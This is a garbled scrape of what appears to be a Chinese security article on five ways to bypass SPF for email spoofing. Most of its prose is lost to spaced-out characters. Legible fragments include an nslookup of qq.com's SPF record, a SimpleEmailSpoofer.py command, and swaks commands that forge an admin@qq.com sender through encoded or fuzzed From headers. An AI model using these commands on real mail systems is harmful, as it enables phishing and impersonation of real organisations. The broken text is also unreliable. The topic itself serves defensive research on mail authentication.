[991] 2020-05-18_邮件伪造之SPF绕过的5种思路

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最后更新:2025-01-16
2020-05-18_邮件伪造之SPF绕过的5种思路 S P F 5   B y p a s s   B y p a s s   2 0 2 0 - 0 5 - 1 8 S M T P ( S i m p l e M a i l   T r a n s f e r   P r o t o c o l )   S P F S P F   S e n d e r   P o l i c y   F r a m e w o r k I P S P F I P S P F 退 S P F 使 S P F S P F S P F 5 S P F S P F 1 S P F S P F S P F   I P   I P   I P C 使 I P S P F S P F ~ a l l o u t l o o k Q Q 1 6 3 S P F S P F S P F S P F S P F S P F I P i p i p v 4 S P F S P F S P F S P F S P F S P F S P F 2 S P F S P F S P F S P F 使   S P F S P F S P F S P F S P F S P F n s l o o k u p   - t y p e = t x t   q q . c o m v = s p f 1   i p 4 : 2 2 0 . x x x . 1 0 . 0 / 2 4   ~ a l l 2 2 0 . x x x . 1 0 . 1 ~ 2 2 0 . x x x . 1 0 . 2 5 5 v = s p f 1   i p 4 : 1 1 3 . 1 1 0 . 2 2 3 . 0 / 2 4   1 8 3 . 1 1 0 . 2 2 6 . 0 / 2 4   1 8 3 . 1 1 0 . 2 5 5 . 0 / 2 4   5 9 . 1 1 0 . 1 3 2 . 0 / 2 4   - a l l h t t p s : / / w w w . k i t t e r m a n . c o m / s p f / v a l i d a t e . h t m l
S P F D N S D N S D N S S P F S M T P I P 使   S M T P 3 E x c h a n g e o u t l o o k I P 使 使 X X X X X X 4 S P F I P 使 S P F 线 S M T P a d m i n @ q q . c o m m y n e t w o r k s   =   1 9 2 . 1 6 8 . 0 . 0 / 1 6 a d m i n @ q q . c o m p y t h o n   S i m p l e E m a i l S p o o f e r . p y   - t   [ ]     - n   Q Q   - f   a d m i n @ q q . c o m   - j   " "     - e   1 . t x t     - s   [ I P ] D o m a i n   a d m i n D o m a i n   a d m i n O u t l o o k 2 0 1 3 O u t l o o k 2 0 1 6 D o m a i n   a d m i n h t t p s : / / w w w . k i t t e r m a n . c o m / s p f / v a l i d a t e . h t m l
T e s t   S P F   R e c o d S P F 退 S e n d e r F r o m S e n d e r S P F I P F r o m S P F S e n d e r S P F F r o m 使 s w a k s Q Q S e n d e r F r o m a d m i n @ e v i l . c o m 使 F o x m a i l S e n d e r F r o m 使 使 使 F o x m a i l q q 1 6 3 O u t l o o k 5 F r o m 1 I P   a d d r e s s :   I P i p 2 S P F   R e c o r d   v = s p f 1 . . . : / / - - > n s l o o k u p S P F 3 M a i l   F r o m   a d d r e s s s u d o   . / s w a k s   - - t o   6 7 * * * * * 2 8 @ q q . c o m     - - f r o m   a d m i n @ e v i l . c o m     - - h - F r o m :   ' = ? G B 2 3 1 2 ? B ? U V H T y s / k u d z A 7 d S x ? =   < a d m i n @ q q . c o m > '   - - e h l o   e v i l . c o m   - - b o d y   h e l l o   - - h e a d e r   " S u b j e c t :   t e s t " - - f r o m       < S e n d e r > - - h - F r o m   < F r o m >
S e n d e r F r o m S M T P 使 1 Q Q m a i l . e m l 2 F r o n 3 使   d a t a 4 Q Q Q Q F u z z F r o m < > F r o m : = ? g b 2 3 1 2 ? B ? u d z A 7 d S x I D x h Z G 1 p b k B x c S 5 j b 2 0 + 0 a G h o a G h o a G h o a G h o a G h o a G h o a G h o Q = = ? = = ? g b 2 3 1 2 ? B ? o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h ? = = ? g b 2 3 1 2 ? B ? o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h ? = = ? g b 2 3 1 2 ? B ? o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h ? = = ? g b 2 3 1 2 ? B ? o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h o a G h ? = = ? g b 2 3 1 2 ? B ? o a G h o a G h o a G h o a G h o a G h o a G h o a G h o S A g I C A g I C A g I C A g I C A g I C A g I K G k o a Q = ? = = ? g b 2 3 1 2 ? B ? o a Q g I C A g I C A g I C A g I C A g I C A g I K G h I C A g I C A g I K G k o a S h p A = = ? =     < a d m i n @ t e s t . c o m > s u d o   . / s w a k s   - - d a t a   m a i l . e m l   - - t o   6 7 * * * * * 2 8 @ q q . c o m   - - f r o m   a d m i n @ t e s t . c o m
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